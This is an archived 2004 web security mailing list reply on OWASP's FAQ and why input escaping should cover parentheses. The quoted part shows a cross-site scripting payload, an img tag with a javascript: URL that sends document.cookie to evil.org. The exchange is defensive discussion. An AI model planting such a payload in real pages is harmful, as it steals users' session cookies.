|
WebApp Sec
mailing list archives
Re: AppSec FAQ at OWASP
From: オマル イスマイル <isumai-u () is aist-nara ac jp>
Date: Thu, 29 Jan 2004 22:55:25 +0900
On 2004.1.29, at 06:40 PM, Sangita Pakala wrote:
Thank you Ulf for the nice words. To address your question:
Why is it important to escape "(", ")" and "#"?
We need to escape these characters to take care of CSS that do not rely
on <script> tags. For instance, the "javascript:" construct could be
used to embed scripts without using the <script> tag. In the example
below, let's say that the user's input is reflected as the value for
<img src= >. Now, when the img src= line is encountered, the
window.open
javascript function is called and the cookie sent to evil.org
<img src=
"Javascript:window.open('http://
www.evil.org?cookie='+document.cookie)">
Escaping the "(" and ")" above renders the function call mute.
If someone can point me to a good example for when escaping "#" is
reqd,
I'd love to hear that. Gunter Ollmann has an excellent article on CSS
and special characters at http://www.technicalinfo.net/papers/CSS.html
Regards,
Sangita.
Sangita Pakala
Paladion Networks
http://www.paladion.net
Sangita,
I would like to know that how you deal with the false positive?
In the case of " <img src= "javascript: preview(....)> or <img
src="javascript:window.close()>..etc..etc..
If you escape the "(" and ")" that means you render out the harmless
Javascript too.
Thanks
~~~~~~~~~~~~~~~~00101001~~~~~~~~~~~~~~
Omarjan Ismail
Internet Engineering Lab,
Graduate School of Information Science
Nara Institute of Science and Technology
Nara, Japan, 630-0101
Isumai-u () is aist-nara ac jp
~~~~~~~~~~~~~~~00101001~~~~~~~~~~~~~~~~
By Date
By Thread
Current thread:
|